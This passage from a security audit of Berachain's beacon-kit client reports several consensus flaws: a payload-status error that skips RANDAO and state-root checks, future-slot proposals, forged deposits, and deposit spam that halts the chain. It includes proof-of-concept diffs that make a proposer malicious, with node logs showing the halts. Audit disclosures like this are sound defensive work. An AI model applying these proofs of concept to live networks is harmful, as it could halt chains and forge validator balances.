        SkipValidateRandao:  false,
        ProposerAddress:    proposerAddress,
        ConsensusTime:      consensusTime,
    },
    st, blk,
)
if errors.Is(err, engineerrors.ErrAcceptedPayloadStatus) {
    // It is safe for the validator to ignore this error since
    // the state transition will enforce that the block is part
    // of the canonical chain.
    //
    // TODO: this is only true because we are assuming SSF.
    return nil
}

return err
}
```

However, such error will bypass a lot of checks done on the execution payload while accepting the payload.

Impact: This issue allows bypassing RANDAO checks, withdrawals checks, state root checks, and more on the execution payload.

Code snippet: The call graph that triggers the `ErrAcceptedPayloadStatus` error is: `ProcessProposal` \rightarrow `VerifyIncomingBlock` \rightarrow `verifyStateRoot` \rightarrow `stateProcessor.Transition` \rightarrow `ProcessBlock` \rightarrow `validateExecutionPayload` \rightarrow `validateStatefulExecution` \rightarrow `VerifyAndNotifyNewPayload`.

For example, looking at the `ProcessBlock` function shows that a lot of checks are being bypassed in case of such error.

```
// ProcessBlock processes the block, it optionally verifies the
// state root.
func (sp *StateProcessor[
    ContextT, _,
]) ProcessBlock(
    ctx ContextT,
    st *state.StateDB,
    blk *ctypes.BeaconBlock,
) error {
    if err := sp.processBlockHeader(ctx, st, blk); err != nil {
        return err
    }

    if err := sp.processExecutionPayload(ctx, st, blk); err != nil {
        return err // @POC: Return early here!!!
    }
}
```

```

if err := sp.processWithdrawals(st, blk); err != nil { // @POC: verification bypassed
    return err
}

if err := sp.processRandaoReveal(ctx, st, blk); err != nil { // @POC: verification bypassed
    return err
}

if err := sp.processOperations(st, blk); err != nil { // @POC: verification bypassed
    return err
}

// If we are skipping validate, we can skip calculating the state
// root to save compute.
if ctx.GetSkipValidateResult() { // @POC: verification bypassed
    return nil
}

// Ensure the calculated state root matches the state root on
// the block.
stateRoot := st.HashTreeRoot()
if blk.GetStateRoot() != stateRoot { // @POC: verification bypassed
    return errors.Wrapf(
        ErrStateRootMismatch, "expected %s, got %s",
        stateRoot, blk.GetStateRoot(),
    )
}

return nil
}

```

Another example is in `validateStatefulPayload` itself, the "Verify RANDAO" part will not be executed.

```

// validateStatefulPayload performs stateful checks on the execution payload.
func (sp *StateProcessor[
    -, -]) validateStatefulPayload(
    ctx context.Context,
    st *statedb.StateDB,
    blk *ctypes.BeaconBlock,
    consensusTime math.U64,
    optimisticEngine bool,
) error {
    // ...

    parentBeaconBlockRoot := blk.GetParentBlockRoot()
    if err = sp.executionEngine.VerifyAndNotifyNewPayload(
        ctx, ctypes.BuildNewPayloadRequest(
            payload,
            body.GetBlobKzgCommitments().ToVersionedHashes(),
            &parentBeaconBlockRoot,
            optimisticEngine,
        ),
    ); err != nil { // @POC: in case of Acceptor error, return the error
        return err
    }

    // Verify RANDAO // @POC: all the following code is not executed
    slot, err := st.GetSlot()
    if err != nil {
        return err
    }

    expectedMix, err := st.GetRandaoMixAtIndex(
        sp.cs.SlotToEpoch(slot).Unwrap() % sp.cs.EpochsPerHistoricalVector())
    if err != nil {
        return err
    }

    if payload.GetPrevRandao() != expectedMix {
        return errors.Wrapf(
            ErrRandaoMixMismatch,
            "prev randao does not match, expected: %x, got: %x",
            expectedMix, payload.GetPrevRandao(),
        )
    }
}

```



```

    }

    return nil
}

```

Also, the setting of the execution payload header through `SetLatestExecutionPayloadHeader` in the `processExecutionPayload` function is not executed in such case.

Another edge-case is that `Transition` will return `nil` instead of `validatorUpdates` in such case.

Recommendation: When this `ErrAcceptedPayloadStatus` error is triggered in `processExecutionPayload`, all the checks made on `processWithdrawals`, `processRandaoReveal`, ... must be executed to sanitize the execution payload.

Berachain: Fixed in commit [2e9cec4c](#).

3.1.6 Malicious proposer can halt the execution chain by proposing a slot number far in the future

Submitted by *Haxatron*, also found by *Christoph Michel* and *Christoph Michel*

Severity: High Risk

Context: (No context files were provided by the reviewer)

Description: A malicious proposer can halt the execution chain by proposing a slot number far in the future. During block building honest proposers use `req.Height` as the slot number

- [prepare_proposal.go#L50](#):

```

// Always reset state given that PrepareProposal can timeout
// and be called again in a subsequent round.
s.prepareProposalState = s.resetState(ctx)
s.prepareProposalState.SetContext(
    s.getContextForProposal(
        s.prepareProposalState.Context(),
        req.Height,
    ),
)

var slotData = types.NewSlotData(
    math.Slot(req.GetHeight()),
    nil,
    nil,
    req.GetProposerAddress(),
    req.GetTime(),
)

```

However, due to an lack of validation of the slot number in `ProcessProposal`, a malicious proposer can propose a valid block with a slot number far in the future. Note that the beacon specs validate this in `on_block`, before the state transition

- [fork-choice.md#on_block](#):

```

def on_block(store: Store, signed_block: SignedBeaconBlock) -> None:
    # ...
    # Blocks cannot be in the future. If they are, their consideration must be delayed until they are in
    ↪ the past.
    assert get_current_slot(store) >= block.slot

```

However such a check is missing in `VerifyIncomingBlock`.

- [process_proposal.go#L193-L220](#):

```

func (s *Service[
    _, _, ConsensusBlockT, _,
    _, _,
]) VerifyIncomingBlock(
    ctx context.Context,
    beaconBlk *ctypes.BeaconBlock,
    consensusTime math.U64,
    proposerAddress []byte,
) error {
    // Grab a copy of the state to verify the incoming block.
    preState := s.storageBackend.StateFromContext(ctx)

    // Force a sync of the startup head if we haven't done so already.
    //
    // TODO: This is a super hacky. It should be handled better elsewhere,
    // ideally via some broader sync service.
    s.forceStartupSyncOnce.Do(func() { s.forceStartupHead(ctx, preState) })

    s.logger.Info(
        "Received incoming beacon block",
        "state_root", beaconBlk.GetStateRoot(), "slot", beaconBlk.GetSlot(),
    )

    // We purposefully make a copy of the BeaconState in order
    // to avoid modifying the underlying state, for the event in which
    // we have to rebuild a payload for this slot again, if we do not agree
    // with the incoming block.
    postState := preState.Copy(ctx)
    ...
}

```

Thus the beacon block with future slot number will get accepted and `FinalizeBlock` will be called, storing the future slot number in the beacon state.

During the next height where the honest proposer proposes, the honest proposer will fail to propose a block, as during computation of the state root, they will receive a slot mismatch (as recall, they are requesting `req.Height` as the slot number, the beacon state slot number after `processSlots` is called will be future slot number; as slot numbers cannot progress backwards), whereas the beacon block slot number will be `req.Height`.

- [state_processor.go#L296-L315](#):

```

// processBlockHeader processes the header and ensures it matches the local
// state.
func (sp *StateProcessor[
    ContextT, _,
]) processBlockHeader(
    ctx ContextT,
    st *state.StateDB,
    blk *ctypes.BeaconBlock,
) error {
    // Ensure the block slot matches the state slot.
    slot, err := st.GetSlot()
    if err != nil {
        return err
    }
    if blk.GetSlot() != slot {
        return errors.Wrapf(
            ErrSlotMismatch, "expected: %d, got: %d",
            slot, blk.GetSlot(),
        )
    }
}

```

This leads the consensus client to propose an empty proposal with no transactions leading to the execution chain to halt.

Proof of Concept: Apply the following diff using `git apply patch.diff --ignore-whitespace`. Here, at height = 20, a malicious proposer proposes a block with slot 120:

```
diff --git a/consensus/cometbft/service/prepare_proposal.go b/consensus/cometbft/service/prepare_proposal.go
index 63a6b6281..e43bfd797 100644
--- a/consensus/cometbft/service/prepare_proposal.go
+++ b/consensus/cometbft/service/prepare_proposal.go
@@ -57,8 +57,13 @@ func (s *Service[LoggerT]) prepareProposal(
    ),
)
+
+    slotNumber := req.GetHeight()
+    if req.Height == 20 {
+        slotNumber += 100
+    }
+
    var slotData = types.NewSlotData(
-        math.Slot(req.GetHeight()),
+        math.Slot(slotNumber),
        nil,
        nil,
        req.GetProposerAddress(),
    )
```

This block will get accepted and after height = 20, everytime an honest proposer proposes it will fail with a slot mismatch error, this results in an empty proposal being proposed by honest proposers, resulting in the execution chain to halt.

```
2025-01-15T13:52:51Z INFO Timed out module=consensus dur=1869.874449 height=63 round=0 step=RoundStepNewHeight
2025-01-15T13:52:51Z WARN Suggested fee recipient is not configured service=engine.client
↳ fee-recipient=0x0000000000000000000000000000000000000000000000000000000000000000
2025-01-15T13:52:51Z INFO Forkchoice updated service=execution-engine
↳ head_block_hash=0x374bae727463b8a8dcf17e2dc522219711b9ef0579e6d698755d1b2aa35e1ef9
↳ safe_block_hash=0xd25715695ef032557f7b9a9ce1d31bc70ae3864cd5426918768ab40c99902020
↳ finalized_block_hash=0xd25715695ef032557f7b9a9ce1d31bc70ae3864cd5426918768ab40c99902020
↳ with_attributes=true payload_id=0x03c0dbff27ae479c
2025-01-15T13:52:51Z INFO Waiting for local payload to be delivered to execution client
↳ service=payload-builder for_slot=63 timeout=2.5s
2025-01-15T13:52:53Z INFO Ensure peers module=pex numOutPeers=1 numInPeers=5 numDialing=0 numToDial=9
2025-01-15T13:52:53Z INFO We need more addresses. Sending pexRequest to random peer module=pex
↳ peer=Peer{MConn{172.16.0.11:54772} e9f22dde88a9fa005ee96a5f935d2706080d32fb in}
2025-01-15T13:52:53Z INFO Building block body with local deposits service=validator start_index=4 num_deposits=0
2025-01-15T13:52:53Z ERROR failed to compute state root while building block service=validator slot=63
↳ error=expected: 120, got: 63: slot mismatch
2025-01-15T13:52:53Z ERROR failed to prepare proposal height=63 err=expected: 120, got: 63: slot mismatch
```

Recommendation: Validate that `req.Height >= blk.Slot` in `ProcessProposal` as per beacon specs. This prevents validators accepting beacon blocks with future slot numbers.

Berachain: Fixed in commit [39c4ebee](#).

3.1.7 Deposits can be forged due to incorrect check in `validateNonGenesisDeposits`

Submitted by *Haxatron*

Severity: High Risk

Context: (No context files were provided by the reviewer)

Description: In `ProcessProposal`, during validation of the deposits, we perform the following:

- First, fetch the deposit index.
- Ensure `blkDeposits` is contiguous.
- Check that the `blkDepositRoot` matches the deposit root computed from `(0, depositIndex + len(blkDeposits))` from the deposit store.
- [validation_deposits.go#L69-L99](#):

```

func (sp *StateProcessor[
    -, -]
) validateNonGenesisDeposits(
    st *statedb.StateDB,
    blkDeposits []*ctypes.Deposit,
    blkDepositRoot common.Root,
) error {
    depositIndex, err := st.GetEth1DepositIndex()
    if err != nil {
        return err
    }
    for i, deposit := range blkDeposits {
        // deposit indices should be contiguous
        if deposit.GetIndex() != math.U64(depositIndex)+math.U64(i) {
            return errors.Wrapf(ErrDepositIndexOutOfOrder,
                "deposit index: %d, expected index: %d", deposit.GetIndex().Unwrap(), i,
            )
        }
    }

    var deposits ctypes.Deposits
    deposits, err = sp.ds.GetDepositsByIndex(0, depositIndex+uint64(len(blkDeposits)))
    if err != nil {
        return err
    }

    if !blkDepositRoot.Equals(deposits.HashTreeRoot()) {
        return ErrDepositsRootMismatch
    }
    return nil
}

```

However, there is a very crucial check missing that allow forging arbitrary deposits in `blkDeposits`. The `blkDeposits` and `blkDepositRoot` are fetched from the beacon block, which can be malicious, however it is not correctly verified that two are correlated in the code above.

Essentially a malicious proposer can forge an arbitrary `blkDeposits`, they only need to compute `blkDepositRoot` that matches the deposit root of $(0, \text{depositIndex} + \text{len}(\text{blkDeposits}))$ from the deposit store for validators to accept the block, note that `blkDepositRoot` is computed by the proposer, so proposer has full control over this value. Here we can see the underlying problem, there is no actual validation of the contents of the `blkDeposits` being performed.

Let's denote `blkDeposits` as D and `blkDepositRoot` as R and the actual deposit store root as S .

In beacon-kit, the honest proposer obtains D and R from the deposit store and will send (D, R) to the validator and the validator performs the following.

- Check that D is contiguous and $R = S$:

However this check can be bypassed since a malicious proposer can forge malicious deposits D' , then obtain R from the deposit store and send (D', R) to the validator which will pass the checks since D' is contiguous and $R = S$.

Proof of Concept: Apply following diff to the codebase using `git apply patch.diff --ignore-whitespace`. This cause a malicious proposer to forge a deposit at block = 20.

```
diff --git a/beacon/validator/block_builder.go b/beacon/validator/block_builder.go
index 6d2060d57..f0608a5c5 100644
--- a/beacon/validator/block_builder.go
+++ b/beacon/validator/block_builder.go
@@ -323,7 +323,16 @@ func (s *Service[...]) buildBlockBody(
    "Building block body with local deposits",
    "start_index", depositIndex, "num_deposits", uint64(len(deposits))-depositIndex,
)
-   body.SetDeposits(deposits[depositIndex:])
+
+   // Let's forge sum deposits
+   if blk.GetSlot() == 20 {
+       maliciousDeposits := deposits[0:1] // Get the first deposit
+       maliciousDeposits[0].Amount = math.Gwei(1000000000) // Forge a 1 ETH deposit
+       maliciousDeposits[0].Index = depositIndex
+       body.SetDeposits(maliciousDeposits)
+   } else {
+       body.SetDeposits(deposits[depositIndex:])
+   }

    // Set the graffiti on the block body.
    sizedGraffiti := bytes.ExtendToSize([]byte(s.cfg.Graffiti), bytes.B32Size)
```

After this is proposed by the malicious proposer and accepted by the chain, the honest proposer will receive an error when preparing a proposal and thus propose empty proposals, this will lead to the consensus chain continuing but the execution chain effectively halting

```
2025-01-16T15:03:48Z INFO Finalized block module=state height=71 num_txs_res=0 num_val_updates=0
↳ block_app_hash=89815EFF64653E842CF867929EABE27F00FB5C68D87BE68FC5747AA7CAC623AF syncing_to_height=71
2025-01-16T15:03:48Z INFO Committed state module=state height=71
↳ block_app_hash=89815EFF64653E842CF867929EABE27F00FB5C68D87BE68FC5747AA7CAC623AF
2025-01-16T15:03:48Z INFO indexed block events module=txindex height=71
2025-01-16T15:03:50Z INFO Timed out module=consensus dur=1857.861080 height=72 round=0 step=RoundStepNewHeight
2025-01-16T15:03:50Z INFO Forkchoice updated service=execution-engine
↳ head_block_hash=0x671b48caa16ed2ce728300f2643701edcdc14804efd5686923ddca637c1f03b1
↳ safe_block_hash=0xbac4d018922d315a73853bbccd21c4acdf92f43f0d7b0a0ddca4c23065607af5
↳ finalized_block_hash=0xbac4d018922d315a73853bbccd21c4acdf92f43f0d7b0a0ddca4c23065607af5
↳ with_attributes=true payload_id=0x030c51242ae8e594
2025-01-16T15:03:50Z INFO Waiting for local payload to be delivered to execution client
↳ service=payload-builder for_slot=72 timeout=2.5s
2025-01-16T15:03:53Z ERROR failed to prepare proposal height=72 err=all historical deposits not available,
↳ expected: 5, got: 4: deposits from deposit store incomplete
```

Note that the chain halt occurs because the deposit index is now 5 which is greater than the number of deposits in the deposit store.

If there was a 5th deposit, then the chain won't halt and progress normally, with the forged deposit being applied to the validator set.

Recommendation: You need to validate `blkDeposits` against what is actually present in the deposit store, by for example fetching `sp.ds.GetDepositsByIndex(depositIndex, depositIndex + len(blkDeposits))` and checking that all are equal to `blkDeposits`

Berachain: Fixed in commit [7b024118](#).

3.2 Medium Risk

3.2.1 Chain halt by spamming deposits request with minimum staking amount

Submitted by [dontonka](#), also found by [Haxatron](#)

Severity: Medium Risk

Context: [block_builder.go#L304-L326](#)

Description: Deposits in Beacon Kit are never pruned ([pruning.go#L40-L56](#)) in order to be able to compute the **hash tree root** when proposing a block in order to set `Eth1Data` field in the Beacon block.

While this is by design, it present an *important flaw*, at least with the current implementation, as combined with a minimum staking amount of only 1 BERA ([DepositContract.sol#L19-L21](#)) and the fact that when

proposing a block, it will always retrieve all the deposits ([block_builder.go#L305-L307](#)) (note starting from 0 and the comment make this clear) as follows:

```
// Grab all previous deposits from genesis up to the current index + max deposits per block.
deposits, err := s.sb.DepositStore().GetDepositsByIndex(
    0, depositIndex+s.chainSpec.MaxDepositsPerBlock(),
)
```

We can see how this translate into looping from 0 to the last deposits, stopping only when there is no more deposits or when we reach endIdx. So if you have 1M deposits, that will loop 1M times. There is also a memory resources concerns, but the CPU/latency seems more critical.

```
func (kv *KVStore) GetDepositsByIndex(
    startIndex uint64,
    depRange uint64,
) (ctypes.Deposits, error) {
    kv.mu.RLock()
    defer kv.mu.RUnlock()
    var (
        deposits = make(ctypes.Deposits, 0, depRange)
        endIdx    = startIndex + depRange
    )

    for i := startIndex; i < endIdx; i++ {
        deposit, err := kv.store.Get(context.TODO(), i)
        switch {
        case err == nil:
            deposits = append(deposits, deposit)
        case errors.Is(err, sdkcollections.ErrNotFound):
            return deposits, nil
        default:
            return deposits, errors.Wrapf(
                err, "failed to get deposit %d, start: %d, end: %d", i, startIndex, endIdx,
            )
        }
    }

    kv.logger.Debug("GetDepositsByIndex", "start", startIndex, "end", endIdx)
    return deposits, nil
}
```

Such design open the door for a realistic attack vector which would be to spam the EVM chain of deposits request with minimum deposits (assuming 1 BERA not being an expensive amount in single digit USD worth kind of thing), which overtime will bloat the CL chain. The attacker is not loosing any money in this attack, as his token are staked normally and earning yield as usual.

- Testnet seems to have a block rate at 3 sec. in average, that means 28800 block per day.
- Maximum 16 deposits ([base.go#L116](#)) can be processed per block.
- So 460800 deposits could potentially be created everyday at the cost of 460800 BERA, which would translate into PreparePrososal reaching the breaking point at some point, halting the chain, as all proposer would timeout on their turn overflowing TimePropose CometBFT configuration.

Here is the current flow of deposits.

1. User deposit 1 BERA against the Deposit contract.
2. FinalizeBlock → Deposits are Enqueue ([finalize_block.go#L97](#)).
3. FinalizeBlock → Deposits are Pruned ([finalize_block.go#L108](#)), but in fact they are not ([pruning.go#L39-L56](#)), by design:

```

func (s *Service[
    _, _, ConsensusBlockT, _,
    GenesisT, ConsensusSidecarsT,
]) FinalizeBlock(
    ctx sdk.Context,
    req *cmtabci.FinalizeBlockRequest,
) (transition.ValidatorUpdates, error) {

    ...

    // STEP 4: Post Finalizations cleanups

    // fetch and store the deposit for the block
    blockNum := blk.GetBody().GetExecutionPayload().GetNumber()
    s.depositFetcher(ctx, blockNum) // <----- DEPOSITS Enqueue

    // store the finalized block in the KVStore.
    slot := blk.GetSlot()
    if err = s.storageBackend.BlockStore().Set(blk); err != nil {
        s.logger.Error(
            "failed to store block", "slot", slot, "error", err,
        )
    }

    // prune the availability and deposit store
    err = s.processPruning(blk) // <----- DEPOSITS Pruned, but none are actually pruned
    if err != nil {
        s.logger.Error("failed to processPruning", "error", err)
    }

    go s.sendPostBlockFCU(ctx, st, cBlk)

    return valUpdates, nil
}

```

4. PrepareProposal → Deposits from previous block are read from the store ([block_builder.go#L305-L307](#)), and here is the issue, as described earlier, at some point when the deposits become too big which will timeout every proposer and halt the chain.

Proof of Concept: Run an e2e localnet as usual with Kurtosis with some modifications as follow. The 1M fake deposits will get processed slowly (5k per block) which will rampup the total deposit quickly to simulate the issue.

- Simulate 1M deposits when the e2e deposit test is ran (ignoring the deposit from the test, just duplicating the first one encounter from the log).
- Increased the maximum deposit to 5000 (otherwise at 16 deposits per block would takes hours to reach the inflection point).
- Commented some traces otherwise that get very noisy.

```

// Max operations per block constants.
- MaxDepositsPerBlock: 16,
+ MaxDepositsPerBlock: 5000,

```

```

// Grab all previous deposits from genesis up to the current index + max deposits per block.
+ before := time.Now()
deposits, err := s.sb.DepositStore().GetDepositsByIndex(
    0, depositIndex+s.chainSpec.MaxDepositsPerBlock(),
)
if err != nil {
    return err
}
+ spent := time.Since(before)
+ s.logger.Info(
+     "***** (EL) buildBlockBody(): RAW",
+     "num_deposits", uint64(len(deposits)),
+     "spent", spent,
+ )

```

```

func (dc *WrappedDepositContract) ReadDeposits(
    ctx context.Context,
    blkNum math.U64,

```

```

) ([]*ctypes.Deposit, error) {
    logs, err := dc.FilterDeposit(
        &bind.FilterOpts{
            Context: ctx,
            Start:   blkNum.Unwrap(),
            End:     (*uint64)(&blkNum),
        },
    )
    if err != nil {
        return nil, err
    }

    deposits := make([]*ctypes.Deposit, 0)
    for logs.Next() {
        var (
            cred    bytes.B32
            pubKey  bytes.B48
            sign    bytes.B96
        )
        pubKey, err = bytes.ToBytes48(logs.Event.Pubkey)
        if err != nil {
            return nil, fmt.Errorf("failed reading pub key: %w", err)
        }
        cred, err = bytes.ToBytes32(logs.Event.Credentials)
        if err != nil {
            return nil, fmt.Errorf("failed reading credentials: %w", err)
        }
        sign, err = bytes.ToBytes96(logs.Event.Signature)
        if err != nil {
            return nil, fmt.Errorf("failed reading signature: %w", err)
        }

+       if !globalAttackDone {
+           globalAttackDone = true
+           count := 1_000_000
+           for i := range count {
+               deposits = append(deposits, ctypes.NewDeposit(
+                   pubKey,
+                   ctypes.WithdrawalCredentials(cred),
+                   math.U64(logs.Event.Amount),
+                   sign,
+                   uint64(i),
+               ))
+           }
+           return deposits, nil
+       } else {
            deposits = append(deposits, ctypes.NewDeposit( //@audit on the curve?
                pubKey,
                ctypes.WithdrawalCredentials(cred),
                math.U64(logs.Event.Amount),
                sign,
                logs.Event.Index,
            ))
+       }
    }

    return deposits, nil
}
+var globalAttackDone bool

```



```

func (b *BeaconBlockBody) DefineSSZ(codec *ssz.Codec) {
    // Define the static data (fields and dynamic offsets)
    ssz.DefineStaticBytes(codec, &b.RandaoReveal)
    ssz.DefineStaticObject(codec, &b.Eth1Data)
    ssz.DefineStaticBytes(codec, &b.Graffiti)
-   ssz.DefineSliceOfStaticObjectsOffset(codec, &b.Deposits, 16)
+   ssz.DefineSliceOfStaticObjectsOffset(codec, &b.Deposits, 5000)
    ssz.DefineDynamicObjectOffset(codec, &b.ExecutionPayload)
    ssz.DefineSliceOfStaticBytesOffset(codec, &b.BlobKzgCommitments, 16)

    // Define the dynamic data (fields)
-   ssz.DefineSliceOfStaticObjectsContent(codec, &b.Deposits, 16)
+   ssz.DefineSliceOfStaticObjectsContent(codec, &b.Deposits, 5000)
    ssz.DefineDynamicObjectContent(codec, &b.ExecutionPayload)
    ssz.DefineSliceOfStaticBytesContent(codec, &b.BlobKzgCommitments, 16)
}

```

```

func createProcessProposalResponse(
    err error,
) (*cmtabci.ProcessProposalResponse, error) {
    status := cmtabci.PROCESS_PROPOSAL_STATUS_REJECT
    if !errors.IsFatal(err) {
        status = cmtabci.PROCESS_PROPOSAL_STATUS_ACCEPT
-       err = nil
+       //err = nil
    }
    return &cmtabci.ProcessProposalResponse{Status: status}, err
}

```

```

// processDeposit processes the deposit and ensures it matches the local state.
func (sp *StateProcessor[
    -, -]) processDeposit(
    st *state.StateDB,
    dep *ctypes.Deposit,
) error {
    eth1DepositIndex, err := st.GetEth1DepositIndex()
    if err != nil {
        return err
    }

    if err = st.SetEth1DepositIndex(eth1DepositIndex + 1); err != nil {
        return err
    }
+   /*
        sp.logger.Info(
            "Processed deposit to set Eth 1 deposit index",
            "previous", eth1DepositIndex, "new", eth1DepositIndex+1,
        )
+   */
    return sp.applyDeposit(st, dep)
}

```

```

// applyDeposit processes the deposit and ensures it matches the local state.
func (sp *StateProcessor[
    -, -]) applyDeposit(
    st *state.StateDB,
    dep *ctypes.Deposit,
) error {
    idx, err := st.ValidatorIndexByPubkey(dep.GetPubkey())
    if err != nil {
        // If the validator does not exist, we add the validator.
        // TODO: improve error handling by distinguishing
        // ErrNotFound from other kind of errors
        return sp.createValidator(st, dep)
    }

    // The validator already exist and we need to update its balance.
    // EffectiveBalance must be updated in processEffectiveBalanceUpdates
    // However before BoonetFork2Height we mistakenly update EffectiveBalance
    // every slot. We must preserve backward compatibility so we special case
    // Boonet to allow proper bootstrapping.
    slot, err := st.GetSlot()

```

```

    if err != nil {
        return err
    }
    if sp.cs.DepositEth1ChainID() == spec.BoonetEth1ChainID &&
        slot < math.U64(spec.BoonetFork2Height) {
        var val *ctypes.Validator
        val, err = st.ValidatorByIndex(idx)
        if err != nil {
            return err
        }

        updatedBalance := ctypes.ComputeEffectiveBalance(
            val.GetEffectiveBalance()+dep.GetAmount(),
            math.Gwei(sp.cs.EffectiveBalanceIncrement()),
            math.Gwei(sp.cs.MaxEffectiveBalance(false)),
        )
        val.SetEffectiveBalance(updatedBalance)
        if err = st.UpdateValidatorAtIndex(idx, val); err != nil {
            return err
        }
    }

    // if validator exist, just update its balance
    if err = st.IncreaseBalance(idx, dep.GetAmount()); err != nil {
        return err
    }
}

+ /*
    sp.logger.Info(
        "Processed deposit to increase balance",
        "deposit_amount", float64(dep.GetAmount().Unwrap())/math.GweiPerWei,
        "validator_index", idx,
    )

+ */
return nil
}

```

Geth output:

```

2025-01-15 22:44:22 INFO [01-16|03:44:22.127] HTTP server started endpoint=[::]:8551
↳ auth=true prefix= cors=localhost vhosts=*
2025-01-15 22:44:22 INFO [01-16|03:44:22.127] Started P2P networking
↳ self=enode://b599a3ac3e4fb7b3d8d85cc4d1c38475f7fec88e19455c27c4fbe6d4af5ff8b9c8d7888972673bdf2a514742ac0e
↳ 0ae7e07bce5ce694e55e9cf506f537a31260172.16.4.21:30303
2025-01-15 22:44:42 INFO [01-16|03:44:42.171] Starting work on payload id=0x03f3dfaa5bf665b7
2025-01-15 22:44:42 INFO [01-16|03:44:42.172] Updated payload id=0x03f3dfaa5bf665b7
↳ number=1 hash=ba0cbf..fb87e6 txs=0 withdrawals=1 gas=0 fees=0 root=7ad958..25d895 elapsed="230.266s"
2025-01-15 22:44:43 INFO [01-16|03:44:43.673] Stopping work on payload id=0x03f3dfaa5bf665b7
↳ reason=delivery
2025-01-15 22:44:43 INFO [01-16|03:44:43.691] Imported new potential chain segment number=1
↳ hash=ba0cbf..fb87e6 blocks=1 txs=0 mgas=0.000 elapsed="951.411s" mgasps=0.000 age=1m4s
↳ snapdiffs=249.00B triediffs=1.91KiB triedirty=0.00B
2025-01-15 22:44:44 WARN [01-16|03:44:44.155] Ignoring already known beacon payload number=1
↳ hash=ba0cbf..fb87e6 age=1m5s
2025-01-15 22:44:44 INFO [01-16|03:44:44.159] Chain head was updated number=1
↳ hash=ba0cbf..fb87e6 root=7ad958..25d895 elapsed="101.189s" age=1m5s
2025-01-15 22:44:44 INFO [01-16|03:44:44.160] Indexed transactions blocks=2 txs=0 tail=0
↳ elapsed="83.324s"
2025-01-15 22:44:48 INFO [01-16|03:44:48.874] Imported new potential chain segment number=2
↳ hash=f611e3..ed5dc7 blocks=1 txs=3 mgas=0.063 elapsed="708.892s" mgasps=88.871 snapdiffs=732.00B
↳ triediffs=6.05KiB triedirty=0.00B
2025-01-15 22:44:49 WARN [01-16|03:44:49.186] Ignoring already known beacon payload number=2
↳ hash=f611e3..ed5dc7 age=6s
2025-01-15 22:44:49 INFO [01-16|03:44:49.190] Chain head was updated number=2
↳ hash=f611e3..ed5dc7 root=5aac92..230cd4 elapsed="138.415s"
2025-01-15 22:44:53 INFO [01-16|03:44:53.800] Imported new potential chain segment number=3
↳ hash=ba9654..840bb1 blocks=1 txs=0 mgas=0.000 elapsed="884.513s" mgasps=0.000 snapdiffs=982.00B
↳ triediffs=8.10KiB triedirty=0.00B
2025-01-15 22:44:54 WARN [01-16|03:44:54.110] Ignoring already known beacon payload number=3
↳ hash=ba9654..840bb1 age=6s
2025-01-15 22:44:54 INFO [01-16|03:44:54.115] Chain head was updated number=3
↳ hash=ba9654..840bb1 root=b5097b..517485 elapsed="108.759s"
2025-01-15 22:44:58 INFO [01-16|03:44:58.728] Imported new potential chain segment number=4
↳ hash=742e59..aa1727 blocks=1 txs=0 mgas=0.000 elapsed="815.039s" mgasps=0.000 snapdiffs=1.20KiB
↳ triediffs=10.22KiB triedirty=0.00B

```

```

2025-01-15 22:44:59 WARN [01-16|03:44:59.148] Ignoring already known beacon payload number=4
↳ hash=742e59..a1727 age=6s
2025-01-15 22:44:59 INFO [01-16|03:44:59.154] Chain head was updated number=4
↳ hash=742e59..a1727 root=b07134..958d7e elapsed="132.002s"
2025-01-15 22:45:03 INFO [01-16|03:45:03.754] Imported new potential chain segment number=5
↳ hash=2f6b01..c217dc blocks=1 txs=0 mgas=0.000 elapsed="750.939s" mgasps=0.000 snapdiffs=1.45KiB
↳ triediffs=12.55KiB triedirty=0.00B
2025-01-15 22:45:04 WARN [01-16|03:45:04.067] Ignoring already known beacon payload number=5
↳ hash=2f6b01..c217dc age=6s
2025-01-15 22:45:04 INFO [01-16|03:45:04.072] Chain head was updated number=5
↳ hash=2f6b01..c217dc root=6893da..94268a elapsed="90.471s"
2025-01-15 22:45:07 INFO [01-16|03:45:07.056] Starting work on payload id=0x035d7943464fbdc3
2025-01-15 22:45:07 INFO [01-16|03:45:07.056] Updated payload id=0x035d7943464fbdc3
↳ number=6 hash=ac4d89..22ae97 txs=0 withdrawals=1 gas=0 fees=0 root=fb75f8..2771c1 elapsed="198.089s"
2025-01-15 22:45:08 INFO [01-16|03:45:08.558] Stopping work on payload id=0x035d7943464fbdc3
↳ reason=delivery
2025-01-15 22:45:08 INFO [01-16|03:45:08.575] Imported new potential chain segment number=6
↳ hash=ac4d89..22ae97 blocks=1 txs=0 mgas=0.000 elapsed="549.254s" mgasps=0.000 snapdiffs=1.69KiB
↳ triediffs=15.06KiB triedirty=0.00B
2025-01-15 22:45:09 WARN [01-16|03:45:09.122] Ignoring already known beacon payload number=6
↳ hash=ac4d89..22ae97 age=6s
2025-01-15 22:45:09 INFO [01-16|03:45:09.134] Chain head was updated number=6
↳ hash=ac4d89..22ae97 root=fb75f8..2771c1 elapsed="100.585s"
2025-01-15 22:45:13 INFO [01-16|03:45:13.819] Imported new potential chain segment number=7
↳ hash=bb304d..a30349 blocks=1 txs=0 mgas=0.000 elapsed="681.353s" mgasps=0.000 snapdiffs=1.94KiB
↳ triediffs=17.27KiB triedirty=0.00B
2025-01-15 22:45:14 WARN [01-16|03:45:14.131] Ignoring already known beacon payload number=7
↳ hash=bb304d..a30349 age=6s
2025-01-15 22:45:14 INFO [01-16|03:45:14.136] Chain head was updated number=7
↳ hash=bb304d..a30349 root=08ec14..52a0f4 elapsed="88.792s"
2025-01-15 22:45:18 INFO [01-16|03:45:18.734] Imported new potential chain segment number=8
↳ hash=924605..9667b6 blocks=1 txs=0 mgas=0.000 elapsed="637.901s" mgasps=0.000 snapdiffs=2.18KiB
↳ triediffs=19.63KiB triedirty=0.00B
2025-01-15 22:45:18 WARN [01-16|03:45:18.928] Ignoring already known beacon payload number=8
↳ hash=924605..9667b6 age=5s
2025-01-15 22:45:18 INFO [01-16|03:45:18.933] Chain head was updated number=8
↳ hash=924605..9667b6 root=fd986b..508222 elapsed="50.229s"
2025-01-15 22:45:23 INFO [01-16|03:45:23.454] Imported new potential chain segment number=9
↳ hash=e8e7cc..c86f03 blocks=1 txs=0 mgas=0.000 elapsed="502.459s" mgasps=0.000 snapdiffs=2.42KiB
↳ triediffs=22.27KiB triedirty=0.00B
2025-01-15 22:45:23 WARN [01-16|03:45:23.668] Ignoring already known beacon payload number=9
↳ hash=e8e7cc..c86f03 age=5s
2025-01-15 22:45:23 INFO [01-16|03:45:23.671] Chain head was updated number=9
